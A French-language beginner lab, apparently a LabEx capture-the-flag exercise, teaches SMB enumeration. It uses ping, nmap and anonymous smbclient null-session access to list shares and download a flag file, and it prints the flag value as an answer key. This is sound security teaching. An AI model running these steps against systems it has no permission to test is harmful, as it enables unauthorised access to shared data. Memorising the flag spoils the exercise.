Énumération SMB et Accès Invité

LinuxBeginner
Pratiquer maintenant

Introduction

Bienvenue dans ce laboratoire pratique axé sur l'énumération et l'exploitation du Server Message Block (SMB). SMB est un protocole de partage de fichiers réseau qui permet aux applications d'un ordinateur de lire et d'écrire des fichiers, ainsi que de demander des services à des programmes serveur sur un réseau informatique. En raison de son utilisation généralisée, il constitue une cible fréquente pour les attaquants.

Dans ce laboratoire, vous vous mettrez dans la peau d'un testeur d'intrusion. Vous commencerez par une reconnaissance réseau de base pour confirmer que la cible est en ligne. Ensuite, vous utiliserez le puissant outil de scan nmap pour découvrir un service SMB ouvert. Enfin, vous utiliserez smbclient pour investiguer le service, trouver une mauvaise configuration permettant un accès invité anonyme, et récupérer un drapeau caché (flag) à partir d'un partage public.

Une fois terminé, vous comprendrez comment :

  • Vérifier la connectivité réseau à l'aide de ping.
  • Scanner les ports et services SMB ouverts à l'aide de nmap.
  • Énumérer et se connecter aux partages SMB à l'aide de smbclient.
  • Exploiter une mauvaise configuration d'accès invité pour récupérer des fichiers.

Commençons.

Vérifier la Connectivité à la Cible avec Ping

Dans cette première étape, vous effectuerez une tâche de reconnaissance de base : vérifier que la machine cible est en ligne et accessible depuis votre machine d'attaquant. La commande ping est un utilitaire standard pour cela, envoyant des paquets ICMP à un hôte pour tester sa réponse.

Votre environnement comprend un système cible aliasé target. Pour confirmer la connectivité, exécutez la commande suivante dans votre terminal pour envoyer quatre paquets :

ping -c 4 target

L'indicateur -c 4 indique à ping d'envoyer exactement quatre paquets puis de s'arrêter. Un résultat réussi ressemblera à la sortie ci-dessous, montrant des réponses de la cible. L'adresse IP et les valeurs de temps peuvent différer.

PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms

Voir "4 received, 0% packet loss" confirme que votre machine peut communiquer avec la cible, préparant ainsi la prochaine phase d'énumération.

Scanner les Ports Ouverts avec Nmap

Dans cette étape, vous utiliserez nmap (Network Mapper) pour scanner la cible à la recherche de ports ouverts et identifier les services en cours d'exécution. C'est une étape cruciale pour trouver des vecteurs d'attaque potentiels. Nous concentrerons notre scan sur le service SMB.

Exécutez la commande nmap suivante pour effectuer un scan de détection de version de service (-sV) et exécuter un script (--script) pour vérifier les protocoles SMB sur la target :

nmap -sV --script smb-protocols target

Après quelques instants, nmap rapportera ses découvertes. La sortie ressemblera à ceci :

Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 10:31 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Host script results:
| smb-protocols:
|   dialects:
|     2.02
|     2.10
|     3.00
|     3.02
|_    3.11

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds

La sortie confirme que les ports 139/tcp et 445/tcp sont ouverts et exécutent le service Samba. Le port 445 est le port moderne pour SMB. Cette découverte est notre signal pour investiguer le service SMB à la recherche de vulnérabilités.

Se Connecter à la Cible via SMB

Dans cette étape, vous utiliserez l'utilitaire smbclient pour interagir avec le service SMB sur la cible. Votre objectif est de voir si vous pouvez vous connecter sans mot de passe, une technique connue sous le nom de "session nulle" (null session) ou connexion anonyme.

Tout d'abord, listons les partages disponibles sur la cible. L'indicateur -L liste les services, et l'indicateur -N tente de se connecter sans mot de passe.

Exécutez la commande suivante :

smbclient -L //target -N

Si le serveur est mal configuré pour autoriser l'accès invité, vous verrez une liste des partages disponibles. La sortie devrait ressembler à ceci :

        Sharename       Type      Comment
        ---------       ----      -------
        public          Disk
        IPC$            IPC       IPC Service (Samba Server)
SMB1 disabled -- no workgroup available

La découverte clé ici est le partage public. Son nom suggère qu'il pourrait être accessible à n'importe qui. Dans l'étape suivante, vous vous connecterez à ce partage pour explorer son contenu.

Explorer le Système Cible et Localiser le Flag

Dans cette dernière étape, vous vous connecterez au partage public que vous avez découvert et rechercherez le drapeau (flag). Cela simule la phase de post-exploitation, où un attaquant recherche des données précieuses.

Connectez-vous directement au partage public en utilisant smbclient, toujours avec l'indicateur -N pour un accès anonyme :

smbclient //target/public -N

Une connexion réussie vous amènera à une invite smbclient, qui ressemble à smb: \>. Vous naviguez maintenant dans le partage de fichiers distant.

Try "help" to get a list of possible commands.
smb: \>

Utilisez la commande ls pour lister le contenu du partage :

ls

Vous devriez voir le fichier flag.txt listé.

smb: \> ls
  .                                   D        0  Fri Sep 19 10:29:39 2025
  ..                                  D        0  Fri Sep 19 10:29:39 2025
  flag.txt                            N       29  Fri Sep 19 10:29:39 2025

  40901312 blocks of size 1024. 22067688 blocks available

Maintenant, téléchargez le fichier sur votre machine locale en utilisant la commande get :

get flag.txt

Note : L'utilitaire smbclient n'a pas de commande cat intégrée pour afficher directement le contenu des fichiers. Vous devez d'abord télécharger le fichier en utilisant get.

Une fois le téléchargement terminé, tapez exit pour quitter la session smbclient. Enfin, utilisez la commande cat sur votre terminal local pour afficher le contenu du drapeau téléchargé.

cat flag.txt

Le terminal affichera la valeur du drapeau.

labex{smb_gu3st_acc3ss_fl4g}

Félicitations ! Vous avez réussi à énumérer un service SMB, à exploiter une mauvaise configuration d'accès invité et à récupérer le drapeau. Copiez la valeur du drapeau pour terminer le laboratoire.

Résumé

Dans ce laboratoire, vous avez mené à bien un flux de travail de test d'intrusion de base contre un service SMB mal configuré. Vous avez appris et pratiqué comment :

  • Utiliser ping pour vérifier la connectivité réseau avec une cible.
  • Employer nmap pour scanner les ports ouverts et identifier le service SMB.
  • Utiliser smbclient -L pour énumérer les partages réseau disponibles anonymement.
  • Se connecter à un partage SMB ouvert avec smbclient en utilisant une session nulle (null session).
  • Naviguer dans un partage distant et télécharger des fichiers en utilisant ls et get.

Cet exercice démontre une vulnérabilité courante et critique : l'autorisation d'un accès anonyme ou invité aux partages réseau. De telles mauvaises configurations peuvent entraîner l'exposition de données sensibles. En comprenant comment trouver et exploiter ces faiblesses, vous êtes mieux préparé à sécuriser vos propres systèmes contre elles.